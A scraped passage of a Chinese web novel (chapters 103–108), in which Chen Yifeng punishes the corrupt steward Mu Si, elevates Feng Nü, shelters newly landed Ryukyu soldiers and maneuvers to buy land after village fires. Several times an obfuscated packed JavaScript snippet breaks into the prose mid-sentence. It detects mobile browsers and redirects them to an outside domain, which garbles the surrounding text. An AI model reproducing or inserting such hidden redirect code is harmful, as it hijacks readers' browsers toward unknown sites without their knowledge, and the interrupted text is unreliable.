慕四带来的这群人,都是九门城里的滚刀肉,仗着有宫里的靠山,根本不把陈逸风放在眼里。他们的眼中闪烁着不屑和挑衅。 这一嗓子把整个宅院都惊动了,慕四从后院跑出来,嘴角还挂着油光。他的脸上带着几分慌乱,但很快就恢复了平静。 “这是怎么了?怎么把老爷气成这样?你们这群瞎眼的,如何服侍的主人?”慕四嬉皮笑脸地对陈逸风说,语气中带着几分讨好,“老爷您坐,喝茶消消气。有什么不满您跟我说,我替您教训他们。您金贵着呢,别亲自动手。” “少跟我来这套!”陈逸风怒道,眼中闪过一丝寒光,“慕四,今天这事你得给我说清楚,何人准你们铺张浪费?比老爷我还阔气?” 慕四一听,立马跪下,装出委屈样:“爷别生气。这不是给爷准备的酒菜吗?爷说在外头吃,这东西总不能糟践了,奴才只好分给下人了。”他的声音中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482286|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着几分讨好和委屈。 “满望海城谁不知道爷是财神爷,为何因这点小钱就动怒?奴才也没做错什么啊。”慕四继续谄媚地说道。 陈逸风看他满不在乎的样子,火气更大:“你说什么?这些都是给我准备的?”他的声音中充满了怒火。 一脚把慕四踹翻在地,陈逸风继续怒吼:“这得多少桌?十桌?我就算是弥勒佛也吃不了这么多!借着我的名头大吃大喝,一顿饭糟践几百两,你知道望海城多少人吃不饱饭吗?” “我算明白了,你一个月要一万两家用干什么!这么糟践,十万两都不够!”陈逸风的声音中充满了愤怒和失望。 慕四也豁出去了,猛地弹起身擦拭血迹,阴阳怪气道:“哦!原来爷是心疼那一万两家用?行,我把账本拿来给爷看看。” “我一片好心,想让您这海外孤客融入大清,结果却落得这般下场...”慕四的声音中带着几分委屈和不满。 陈逸风被气笑了:“好啊,你还有理了。今天你给我好好说道说道!”他的声音中充满了威胁。 慕四凑上前,低头哈腰“老爷,您是知道的,我不仅仅是富察家的老奴,也是太后派来的人。我既是您的管家,又代表着富察氏和理事府的体面。”慕四越说越来劲,直起了身子:“咱大清的规矩就是出门在外,下人的一言一行代表着主子。我若吃穿用度那般寒碜,那不是也显得老爷掉价了不是。再者,除了这些我还得替咱们府上在外打点,用钱的地方可多着呢。” 慕四的一番话让陈逸风陷入了沉思。 这番话听起来荒谬至极,却又在这个时代显得如此合情合理。 一个鸡蛋,从农户手中收来不过两三文钱,却能在层层盘剥之下,最终在账目上变成百两白银。每一个经手的人都要从中分一杯羹,这就是大清的规矩。 “有趣。”陈逸风冷笑一声,目光在院子里缓缓扫过。 第一百零三章 凤女现状惹人怜 慕四见状,搓着双手凑上前来,脸上堆满谄媚的笑容:“老爷,您是从洋地来的贵客,怕是不懂咱们大清的规矩。这银子分润下去,那是主子对奴才的恩典啊!” 他一边说着,一边不停地点头哈腰:“您想啊,主子要的是忠心,奴才要的是恩典。这不是天经地义的事情吗?瞧瞧咱们富察氏的规矩,哪个奴才不是吃得饱穿得暖?” 陈逸风看着眼前这个油滑的老奴才,在这个等级分明的时代,一个八旗子弟家的奴才都能比县太爷活得滋润,这何尝不是一种讽刺? 院子里的气氛渐渐变得微妙起来。其他奴才们见慕四敢这么说话,也纷纷壮起胆子。 “三爷,您说是不是?”慕四转头看向富察荣楚,声音里带着几分得意,“咱们富察氏的奴才,当年可是跟着主子打天下的。多少次都是咱们这些奴才,把主子的性命给保下来的。” 楚三爷站在一旁,面无表情地看着这一切。 “老爷,您是要做大事的人。”慕四继续说道,声音放得更低了些,“能写书、能开通商行、能跟洋人打交道,也有统军作战的本事。我们这些人跟着您,不就是图个富贵吗?” 陈逸风听到这里,眼中闪过寒光。院子里的温度似乎骤然降低了几分。 “您要是连这点小恩小惠都不给,以后怎么服众啊?”慕四继续劝说,语气越发放肆,“这里可是咱大清的地界,不是海外,入乡随俗啊!” 这番话说得陈逸风一时语塞。不是他无言以对,而是这种价值观的冲突让他感到荒谬。 周围的奴才们见状,顿时来了精神,七嘴八舌地议论起来。 “就是啊,我们从九门城跑来伺候您,不就是想讨个好处吗?” “现在喝个酒都要挨打,以后还不知道怎么样呢!” “不干了,我们不干了!” 声音此起彼伏,院子里的气氛越发躁动。 就在这时,楚三爷终于开口了。“一个个都变得这么狂妄了?”他冷冷地扫视着众人,目光如刀,“这几年我们富察氏没怎么管教你们,真以为自己是个人物了?” 这一声厉喝,瞬间让院子里鸦雀无声。方才还叫嚣的奴才们,此刻全都低下了头,连大气都不敢出。 慕四更是吓得浑身发抖,额头上冒出细密的汗珠。在他眼里,陈逸风不过是个八旗姑爷,但楚三爷可是正经的主子,一言一行都代表着富察氏的威严。 “大清的规矩何时轮到下人挑三拣四?”楚三爷继续训斥,“主子赏你们是恩典,不赏你们就要**?” 他的目光在每个人脸上扫过,仿佛要将他们的丑态尽收眼底。 “更可恶的是,大白天的不干正事,聚众饮酒!来人!” 随着楚三爷一声令下,早已等候在旁的护卫们立刻抽出马鞭,对着这群奴才就是一顿狠抽。皮鞭抽在身上的声音清脆响亮,夹杂着阵阵惨叫。 慕四被抽得最狠,孟明蛇对他可没有丝毫客气。“老爷饶命,奴才知错了!”他抱着头连连求饶,声音里带着哭腔。 陈逸风看着这一幕,摇了摇头,转身走向内宅。 “咦?凤女和阿艳呢?”他环顾四周,目光在每个角落搜寻,“我回来这么久了,怎么还不见她们?” 这话一出,院子里的气氛顿时变得微妙起来。几个丫鬟互相对视了一眼,眼中闪过一丝不安。就连楚三爷的脸色也变得有些难看。 陈逸风站在偏院门口,目光所及之处,心头涌起一股怒火。 偏院里,凤女和小丫鬟阿艳正在忙碌着准备午饭。锅里飘出的米香夹杂着一丝糊味,而此时的主院,那些狗仗人势的奴才们却已经吃得肚圆腰满。 “小姐,这米饭又煮硬了。”阿艳一脸愧疚地看着锅里的米饭“我、我实在是......” “没事,能吃就行。”凤女轻声安慰道,眼角微微泛红,“你已经很努力了。” 阿艳抹了抹眼睛,笨拙地继续忙活着。她的动作生涩,显然并不擅长这些。以前在主院时,这些活计都是有专门的厨娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可慕四像是豁出去了,继续道:“老爷,您想想,满人和汉人,这身份地位能一样吗?瑜音姑奶奶可是朝廷诰命,背后还有太后撑腰。您要是因为一个汉人女子得罪了太后,那可就......” “规矩?”陈逸风冷笑,打断了他的话,“什么狗屁规矩!” 孟明蛇在一旁低声道:“爷,这规矩还真有。满汉通婚确实要经过朝廷允许,否则......” 陈逸风愣住了。他没想到,在这个时代,竟真有如此荒唐的规矩。难怪这些日子,凤女一直被人欺压。 第一百零四章 琉球新军登望海 “好!”陈逸风一拍桌子,“既然你们要规矩,那我今天就立个规矩!从今天起,凤女就是平妻,和富察瑜音平起平坐!” 此言一出,满院哗然。 慕四更是跳了起来:“不行!这绝对不行!老爷,您这是要自毁前程啊!您想想,您现在可是富察氏的女婿,前途无量。要是因为这事得罪了太后,那......” “滚!”陈逸风一脚将他踹开,“什么狗屁前程!老子就算带着凤女去天涯海角也不会让她受委屈!” “来人!把这老东西给我关起来!” 护卫们立刻上前,将慕四拖了出去。其他下人看得心惊胆战,谁也没想到陈逸风会如此强硬。 “蛇爷,把慕四带来的人都关到庄外粮仓,等我发落!” 正当护卫要把暖柔、绎芳等慕四带来的丫鬟一并赶走时,凤女开口了:“留下她们吧,都是可怜人。” 陈逸风看了凤女一眼,心中涌起一股暖意。即便受尽委屈,她依然保持着善良。 “来,尝尝饭。”陈逸风端起那盆已经凉了的米饭,夹了一口放进嘴里。 “三爷,一起。” 楚三爷苦着脸吃了一口:“这...这是夹生的啊!” “是我做的......”阿艳红着脸说道。 “快去让暖柔她们重新准备饭菜。”凤女连忙吩咐,“让厨房多准备些菜。” 楚三爷拉着陈逸风到一旁:“兄弟,该出的气也出了。但这慕四背后是太后,你得想想后果。凤女的待遇可以好,但名分上......” 陈逸风用筷子敲着碗边,眼神复杂:“三爷,有些事情就像这米饭,一开始就煮夹生了,后面想补救都难。与其将就着吃,不如重新来过。” 楚三爷叹了口气:“你这是要和太后对着干啊!” “三爷,我知道你是为我好。”陈逸风放下碗筷,“但有些事,不是妥协就能解决的。今天是凤女的名分,明天呢?他们会变本加厉,直到把凤女赶出府去。” “可是......” “没什么可是的。”陈逸风打断了他的话,“我心意已决。” 楚三爷还想再劝,却见陈逸风眼中闪烁着坚定的光芒,终究没有说出口。他太了解这个兄弟了,一旦认定的事,九头牛都拉不回来。 院子里,新的饭菜很快就端了上来。凤女亲自为陈逸风布菜,眼中满是温柔。暖柔和绎芳也忙前忙后,院子里终于有了些人气。 “老爷,这是厨房刚做的红烧肉。”暖柔端着一盘热气腾腾的菜上来。 “给凤女夹一块。”陈逸风说着,将最大的一块夹到凤女碗里。 凤女眼圈微红:“老爷,我......” “吃吧。”陈逸风轻声道,“以后每天都有。” 这一刻,他在心中暗暗发誓:不管是太后还是皇帝,谁也别想让凤女受委屈!就算是倾尽所有,他也要护她周全。 夜幕降临,偏院终于安静下来。陈逸风坐在院子里,看着天上的星星。孟明蛇悄悄走过来:“先生,慕四和那些人都关好了。” “让他们吃点苦头。”陈逸风冷声道。 “先生,您真要和太后对着干?”孟明蛇犹豫了一下,“要不要先示个弱?” 陈逸风摇摇头:“示弱?那只会让他们得寸进尺。” “可是......” “行了。”陈逸风站起身,“你去安排人手,明天开始,偏院的防卫要加强。另外,让人盯着慕四那些人,别让他们传信出去。” 孟明蛇应了一声,转身离去。陈逸风站在院子里,望着凤女房间的灯光,心中五味杂陈。 他知道,这一仗不好打。但既然选择了这条路,就没有回头的余地。 夜色笼罩着望海城,海浪拍打着岸边发出哗哗的声响。 几艘小舢板悄然靠近海岸,船桨划过水面的声音轻若无声。黑暗中,数十道人影一个接一个跳入及膝的海水,向着岸边摸去。海水浸湿了他们的军装,但没人在意这些。 远处海滩上,一盏孤灯在黑暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕四领命去征地 “弟兄们!”诸葛林压低声音,目光扫过每一个士兵的脸庞,“这就是我们的母国,从今天起,我们就要像钉子一样钉在这片土地上!向右转,齐步走!” 九十名士兵挺直腰板,整齐划一地向前行进。虽然四周无人,但他们仿佛能感受到祖先的注视。每一步都走得格外认真,生怕辜负了这庄严的时刻。 夜色中,他们的脚步声轻若无声,却又整齐划一。偶尔有几声狗叫从远处传来,很快又归于平静。陈逸风在望海城外有几处庄子,安置这些人并不困难。等工业特区的围墙建好,这支队伍就能名正言顺地成为安保。 然而,夜再黑也总有不睡的人。陶家庄的守夜老头就听到了不寻常的脚步声。那声音虽轻,却带着一种奇特的节奏感。 老头爬上院墙一看,差点叫出声来。他赶紧用满是老茧的拳头堵住嘴巴,眼睛却直勾勾地盯着眼前的景象。 “阴兵借道?”老头心里嘀咕,浑身的寒毛都竖了起来,“怎么看着像是五年前的英法联军,可又不太一样,都是中国人的面孔,还都剃着光头...” 这胆大的老头愣是看完了整支队伍经过,然后缩回屋里,再也不敢出门打更了。他蜷缩在角落里,一遍遍回想着刚才的景象,直到天亮。 两支连队很快抵达了预定地点。接应的弟兄们早已准备好了热炕、热汤和饭菜。香气扑鼻的饭菜让疲惫的士兵们精神一振。 “这才是家乡的味道啊!”一个士兵端着碗,眼圈有些发红。 正当大家吃得尽兴时,陈逸风推门而入。屋内的温暖驱散了他身上的寒气。 “宰相大人!”士兵们兴奋地站起来,有人还来不及咽下嘴里的饭菜。 “坐下吃,填饱肚子赶紧睡觉。”陈逸风挥手示意,脸上带着温和的笑意。门外走进几个护卫,手里捧着青灰色的大清衣衫和假辫子。 年轻士兵们顿时炸了锅。有人放下碗筷,脸上写满了抗拒。 “宰相,我们不是来当奴才的!”一个士兵激动地说,声音中带着颤抖,“我们是要打出一片新天地,让海外华人有个家!这奴才装,我们不穿!” “对!宁死不穿!”其他士兵也纷纷附和,有人甚至攥紧了拳头。 陈逸风连忙安抚:“傻孩子们,不过是过眼云烟。等工业特区建好,你们就能光明正大地穿军装了。到时候连我也要穿,这制服简直帅炸天了!” 看着这些倔强的年轻面孔,陈逸风心中既欣慰又无奈。这些年轻人,每一个都带着改变命运的决心而来,却不得不暂时向现实低头。 好不容易安抚住士兵们,天已经蒙蒙亮了。东方的天际泛起一丝鱼肚白,预示着新的一天即将开始。 “以为回来能睡个安稳觉,又是个无眠之夜。”陈逸风望着窗外渐亮的天色,轻声叹了口气。 几日后,寒风凛冽的夜里,几个光头护卫押着慕四穿过粮仓长廊。他们的脚步声在空旷的地牢中回荡,不时惊起几只老鼠,沿着墙角仓皇逃窜。 慕四浑身发抖,不知是因为寒冷还是恐惧。 这几天的囚禁生活,让这个在京城叱咤风云的地头蛇吃尽了苦头。 远处,一个草棚里透出微弱的红光。慕四眼睛一亮,几乎是连滚带爬地冲了过去。守卫们冷眼旁观,嘴角挂着轻蔑的笑意。 草棚内,一个炭盆正散发着温暖的热气。慕四顾不得形象,恨不得把整个身子都贴上去。他的手在颤抖,牙关打战,整个人蜷缩在炭盆旁,就像一只受惊的老鼠。 “瞧瞧,这位不就是慕四爷吗?”一个熟悉的声音传来,语气中带着几分戏谑。 慕四抬头,只见陈逸风正坐在阴影处,面容隐在昏暗中。炭火的光芒在他脸上投下忽明忽暗的阴影,更添几分诡异。 “老爷!小的知错了!”慕四立刻跪倒在地,额头重重地磕在地上,发出“咚咚”的声响,“以后您说什么就是什么,小的要是有半点违逆,就让五雷轰顶!” 看着慕四这副模样,陈逸风不免有些厌恶。这种人最是见风使舵,软硬兼施才是对付他的不二法门。想到这里,他的表情缓和了些。 “来人,请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482289|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕四爷上座,上茶。”陈逸风挥了挥手,一旁的护卫立即搬来一张椅子,另一个则端来一杯热气腾腾的茶水。 慕四连忙道谢,捧着热茶猛灌,总算缓过一口气来。他小心翼翼地打量着陈逸风,心里盘算着对策。这陈逸风虽然年轻,但手段狠辣,不能硬来,得想办法周旋。 “慕四爷,”陈逸风眯着眼睛开口,语气平淡中带着一丝威压,“咱们明人不说暗话。你背后有什么人,我清楚得很。但你怕是不知道我的底细。” 慕四心里一颤,茶杯差点掉在地上。他连忙又要下跪,却被陈逸风抬手制止。 “老爷明鉴,小的有眼不识泰山,冒犯了您。”慕四一边赔笑一边道,额头上的冷汗不停地往下淌,“我在这帝都摸爬滚打这些年,人脉广,门路多,以后定能为爷效力!” 陈逸风看着慕四表演,嘴角微微上扬。这老狐狸,演技倒是了得。不过,这正合他意。 “行了,起来吧。”陈逸风摆摆手,语气缓和了些,“我这有个差事,就等你露一手看看。” 慕四眼睛一亮,连忙道:“爷您说!小的一定竭尽全力!” “望海工业特区的事,你应该知道了。”陈逸风缓缓道,目光紧盯着慕四的表情变化,“现在征地困难,那些农户死活不肯卖地。我准备把这事交给你办。” 慕四心中一动,但脸上依旧保持着谦卑的笑容。 “每亩地一百两银子,你负责收购。”陈逸风继续说道,“至于你从中能赚多少,那就看你本事了。不过...”他顿了顿,语气突然变得冰冷,“别太过分。” 慕四连连点头,心中却已经开始盘算。这可是天大的好事!一百两收购,他至少能吃下一半!想到这里,他的眼中闪过一丝贪婪,但很快就被谄媚的笑容掩盖。 “第一批要收购一千亩,”陈逸风继续道,“限你三十天。做得好,以后有的是机会。做不好...”他没有说下去,但话中的威胁之意不言而喻。 慕四连连点头:“老爷您放心,包在小的身上!保证完成任务!” 第一百零六章 村庄走水 说完,他就急匆匆地跑向粮仓,准备和其他人商量对策。那些狗腿子们早就等得不耐烦了。 不多时,粮仓里传来一阵喧哗声。那些人已经开始分赃了,争吵声不时传出。 “老大,这次咱们能分多少?” “嘿嘿,至少四五十两一亩吧!” “那可是五万两啊!发财了!” 陈逸风听着粮仓里的动静,嘴角勾起一抹冷笑。且让这群人再蹦跶几天。 天色渐明,孙忠义匆匆走来,在陈逸风耳边低语:“先生,京城那边的消息到了,一切准备就绪。” 陈逸风点点头,目光看向粮仓。 与此同时,京城南城的一处四合院内。 “啊!不好了!”一声尖叫划破晨曦的宁静。 慕四的婆娘站在佛堂里,脸色惨白,双腿发软,几乎站立不住。佛龛旁的地砖被挖开,藏在下面的一千两金子不翼而飞,只剩下一个空荡荡的地洞。 “娘啊!这可怎么办?”慕四的孩子匍匐在地痛哭流涕,“那可是咱们全部的积蓄啊!” “都怪你们不听我的!”儿媳妇也跟着抹眼泪,声音里带着几分埋怨,“我说藏在我屋里的地窖多安全...” “闭嘴!”老太太怒喝一声,目光凌厉地瞪着儿媳,“你安的什么心思,老娘还不知道?要是藏你屋里,怕是早就不翼而飞了!” 儿媳妇被这话噎住,脸色一阵青一阵白,却不敢反驳。 “报官吧...”一个下人小声提议,却立即被众人的怒视吓得缩了缩脖子。 “不行!”三个主子异口同声地喊道。 这年头报官就是自找麻烦。没等破案,衙门就得先敲诈一笔。更何况,咱家的钱来路也不太干净,经不起查。 “等你爹回来再说。”老太太叹了口气,一屁股坐在椅子上,“让他找江湖上的朋友打听打听。” 众人刚安顿下来,又一个更坏的消息传来。 “夫人!不好了!”一个小厮慌慌张张地跑进来,“城东的铺子...铺子被人砸了!” “什么?”老太太腾地站起来,“怎么回事?” “说是...说是有人带着一群打手,把咱们的布庄砸得稀巴烂,还...还放了火!” 老太太一听,眼前一黑,当场晕了过去。 儿媳妇尖叫着喊人找大夫,慕四的儿子则瘫坐在地上,脸色灰白。 这一天,注定是慕家的噩梦。 而此时的慕四郎,还在为即将到手的横财美滋滋地做着美梦,全然不知家中已经天翻地覆。 粮仓内,他正和手下们商量着如何瓜分这笔钱。 “老大,那些刺头农户怎么办?”一个狗腿子问道。 慕四冷笑一声:“不卖?那就让他们吃点苦头!实在不行,就来点狠的!” “是不是太...”那人还想说什么,却被慕四一个眼神瞪了回去。 “怎么?你也想学那些刺头?”慕四冷声道。 “不不不,我就是问问。”那人连忙摆手,“老大说怎么办就怎么办!” 慕四得意地哼了一声。在他看来,这次可是一个千载难逢的机会。只要把这事办好了,不但能大赚一笔,还能攀上陈逸风这棵大树。 然而**的是,就在这时,一张大网已经悄然张开,等待着将他和他的同伙们一网打尽。 陈逸风站在草棚外,看着远处的朝阳。 “孙忠义。” “在!” “让人盯着点,别让他们跑了。” “是!” 孙忠义领命离去后,陈逸风回了府中沉沉睡去。 这几天回来,今日终于可以睡个安稳觉了。 第二日清晨,陈逸风被人轻轻呼唤醒。 “老爷,该起床用早膳了。” 睁开眼,映入眼帘的是绎芳那张精致的小脸。她的眉眼弯弯,嘴角挂着淡淡的笑意,一双明亮的眼睛里满是温柔。 “真是好生活。”陈逸风伸手捏了捏绎芳的脸蛋,指尖触及之处柔嫩如玉,“大清早就打扰爷的美梦,该当如何赔罪?” 话音未落,暖柔端着铜盆进来了。她身着淡青色的对襟褂子,腰间系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482290|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着鹅黄色的丝带,衬得身段更加婀娜。 暖柔羞涩地瞧了他一眼,“那自然老爷说什么是什么”。 两个美人一左一右服侍着陈逸风穿衣。两人都是规规矩矩地替他整理衣襟,动作轻柔细致。 铜盆中的水波荡漾,散发着淡淡的野菊花香。 绎芳细声细气地说:“请老爷洗漱。”说罢递上帕子。 陈逸风点头接过帕子,仔细洗漱完:“行了,你们先下去吧。” 这些丫鬟能留在府上,还得感谢凤女。本来陈逸风是想将她们一并赶走的,但凤女却护住了这些教坊司出身的姑娘。 一来是绎芳暖柔平日里伺候得用心,二来也是同情她们的遭遇。就拿绎芳来说,本是苏杭商人家的小姐,因有人诬告其父通匪,全家被抄家问斩,只有她因姿色出众被送进教坊司。 那时的绎芳才十六岁,正是豆蔻年华。一夜之间,从锦衣玉食的小姐沦为教坊司的歌姬,这种巨大的落差几乎将她击垮。但她却咬牙挺了过来,在教坊司里学会了察言观色,学会了收敛锋芒。 暖柔的遭遇更是令人心酸。她本是乡绅之女,因战乱流离失所。在京城讨饭两月,饿得面黄肌瘴,最后被人贩子拐卖进了教坊司。起初她还想寻死,是绎芳日夜开导,才让她重拾生的希望。 当然,凤女心里也有自己的小算盘。既然无法独占陈逸风,不如让这些美人一起分享,也好分散他的注意力。 这种心思,陈逸风心知肚明,但他向来是个及时行乐的性子,也就由着她去了。 正享用着早膳,孟明蛇的声音从外面传来,语气中带着几分急切:“先生,收到消息,有三个庄子昨夜走水了,村民过冬的柴草都被烧没了。” 陈逸风立即放下筷子,眉头微皱:“这几天眼看就要下雪了,你去查查到底怎么回事”。 随即转念一想,眉头舒展开来:“这也许也是我们的机会,能不能征地成功就看这次了。你去准备大量的柴草,以及一些过冬的衣被,明早出发去柳溪庄。” 孟明蛇听完立马明白这其中深意,出门准备。 第一百零七章 救济柴草无人敢拿 第二日天还未亮,陈逸风就带着二十辆大车出了城。车上装满了上好的柴草,是专门为了救济遭了火灾的村庄。 “先生,前面就是柳溪庄了。”一个护卫骑马上前禀报。 陈逸风勒住缰绳,远远望去,只见村口**着不少人。他们衣衫褴褛,却挺直着腰板,用警惕的目光盯着车队。 “这些人...”陈逸风眉头微皱,从怀中掏出一个铁皮喇叭,“走,过去看看。” 车队缓缓驶近,村民们却不退不让。 “各位父老乡亲让一让,我是明月商行的陈逸风!”陈逸风站在车上,声音通过喇叭传得很远,“听说你们庄子走了水,毁了一大堆木柴,我们是来帮忙的!” 话音刚落,人群中就爆发出一阵喧哗。 “滚!老子不稀罕你这点恩惠!”一个壮年汉子挥舞着手臂。 “对!你这个二鬼子,少在这里装好人!”又有人附和道。 陈逸风看着这些倔强的面孔,目光中闪过一丝复杂。这些百姓,明明已经冻得瑟瑟发抖,眼睛却死死盯着车上的柴草,嘴上却说着拒绝的话。 就在这时,一个身着长衫的书生匆匆赶来。 他气喘吁吁地坐在路边的石碾子上,指着陈逸风大声道:“乡亲们不要上当!这是他收买人心的诡计!” 寒风呼啸,天空阴沉得仿佛随时会下雪。陈逸风的脸色也随之阴沉下来。 “我是收买人心?”他冷笑一声,“那你倒是拿出你家的柴草来帮大家过冬啊!光动嘴皮子有什么用?再者,你是谁啊,我们之间是有什么过节吗?” “你不认识我,但你认识岳桂生,我是他的侄子,岳衡。” 陈逸风抬眼仔细一瞧“原来是岳举人的侄子,难怪行事作风这般熟悉” 说着,他一跃而下,抱起一捆柴草重重地扔在地上:“要不要随你们,我把柴草放这了。要是我存了害人之心,就让天打五雷轰!” 护卫们见状,也纷纷下车帮忙搬运。 村民中有的人已经开始悄悄向前挪动脚步。 但岳衡却像是看出了什么,突然跳起来大喊:“乡亲们,这个二鬼子的东西会给大家带来不祥,大家不能用啊,而且说不定前夜的火就是他让人放的。” 这句话如同一盆冷水,浇在了所有人头上。原本蠢蠢欲动的村民们,又退回到原来的位置。 陈逸风看着这一幕,眼中闪过一丝疲惫。但他没有停下手中的动作,继续搬运着柴草。直到几车柴草全部卸完,他才拍拍手说道:“我陈逸风虽然不是什么正人君子,但不至于如此卑鄙。柴草在这里,用不用由你们。我还要去其他庄子,告辞了。” 临走前,他转身看向岳衡,目光如刀:“至于你,看来有机会我们得好好聊一聊。” 岳衡被这眼神吓得后退一步,不小心绊倒在地。 “走吧。”陈逸风转身,带着一众护卫离开了这个村子,赶往下一个糟了火灾的村庄。 每到一处,情形都一样,卸下柴草堆在路口,无人敢上前拿取。 待所有车辆都卸完,陈逸风带着众人又返回各个村庄查看。 一行人沿着结冰的小路前行,马蹄踏在冰雪上发出咯吱咯吱的响声。路过一处农舍时,隐约传来压低的争吵声。 “你说得轻巧!那可是祖宗传下来的地啊!” “可是...可是孩子都冻病了...” 陈逸风放慢了脚步,身边的护卫们面面相觑。 天空中飘起了细碎的雪花,他们又马不停蹄地赶往另外两个庄子。同样的戏码上演,同样的结果收场。每到一处,都能看到那些堆积如山却无人敢动的柴火。 “这鬼天气,真要下大雪了。”一名护卫搓着手抱怨道,呵出的白气在空中凝结成霜。 “下得越大越好。”陈逸风眯起眼睛,“计划也就越顺利。” “大人,这些愚民实在可恨!”另一名护卫忍不住开口,脸上带着几分愤懑,“明明有现成的柴火,却宁愿挨冻!” 啪! 清脆的巴掌声在寒风中格外响亮。陈逸风一巴掌拍在那护卫脑门上:“你小子忘了自己第一次上船时的德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485419|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性?见了风浪不也喊龙王爷保佑?现在见过点世面就瞧不起人了?” 众护卫哄堂大笑,挨打的那个满脸通红,低着头不敢作声。 “改变人心不是一朝一夕的事。”陈逸风正色道,目光望向远处阴沉的天空,“强迫只会适得其反,要让他们从内心接受。” 说着,他看了看天色:“走,回府喝酒去!今宵人手一壶佳酿,围炉赏雪!” 护卫们欢呼雀跃,纷纷催促着马匹加快脚步。 夜幕降临,寒风愈发凛冽。雪花在空中飞舞,很快就在地上积了厚厚一层。 三个庄子里,能生火做饭的不过十来户。大家勉强凑合着吃了顿半温不热的晚饭,可等到深夜,寒意就更难熬了。 “娘,我冷...”一个瘦小的身影蜷缩在角落里,声音带着哭腔。 “忍忍吧,乖孩子...”妇人紧紧抱住孩子,眼中含着泪水。 北风呼啸,雪片从门缝钻入。一家人挤在被窝里,却怎么也暖和不起来。往日里,只消往炉膛里添把柴火,整间屋子就暖意融融。可如今,那小山般的柴火就在村口,却无人敢去取用。 岳家庄里,岳衡正与小妾调笑。炭盆烧得正旺,屋里暖得连肚兜都穿不住。红烛摇曳,映照着屋内旖旎的春光。 “少爷...”管家站在门外,搓着手欲言又止。 “进来说话。”岳衡慵懒地靠在美人榻上,手中把玩着一串玉珠。 “少爷,要不要...”管家小心翼翼地劝道,“让那几个庄子村民烧点柴火?这大雪天的...” “住口!”岳衡勃然大怒,一把将玉珠摔在地上,“今日准他们烧火,明日他们就敢卖地!此乃吾儒门存亡之际!” 管家被吓得连连后退,额头上冒出冷汗。 “望海若成了工业特区,不出两年就要扩大一倍。到时连我们的地都要被圈进去,你让我们靠什么活命?”岳衡站起身来,“这些刁民,不给他们点颜色看看,还真当我岳家好欺负!” 管家连连告退,屋内又响起了女人的娇笑声。 第一百零八章 大孙庄突发瘟疫 与此同时,陈逸风的书房内。 烛光摇曳,映照着墙上的地图。慕四跪在地上,双手捧着一叠文书。 “爷,刚刚收到手的田产证明在此,三处田庄总计三百亩良田。”慕四脸谄媚,“一个月内,定让您拿到一千亩地!” “不错。”陈逸风点头,“去找孟明蛇领赏银吧。” “多谢老爷!”慕四连连磕头,额头在地上磕出清脆的响声。 “且慢。”陈逸风突然开口,“后面七百亩,你可有把握?” “爷放心,对付这些贱民,我们可是有一套的。”慕四谄媚地笑道,眼中闪过一丝阴狠。 正说着,漫天风雪中,几个黑影悄然潜入了村庄。雪花飘落,掩盖了他们的脚印。 “快!雪太大了,再不动手路就回不去了!”领头人低声喝道,“你们分头行动,按计划好的院子下手,得手就撤!” 几乎是同时,村里的狗叫声此起彼伏。那些黑影翻墙而入,手中斧子寒光闪烁。 嗖嗖几声,斧子破空而去,直奔牲口棚中的牛马。惨叫声响起,牛挣断绳索,撞塌了半堵墙。马和骡子或断颈或碎头,死的死,逃的逃。 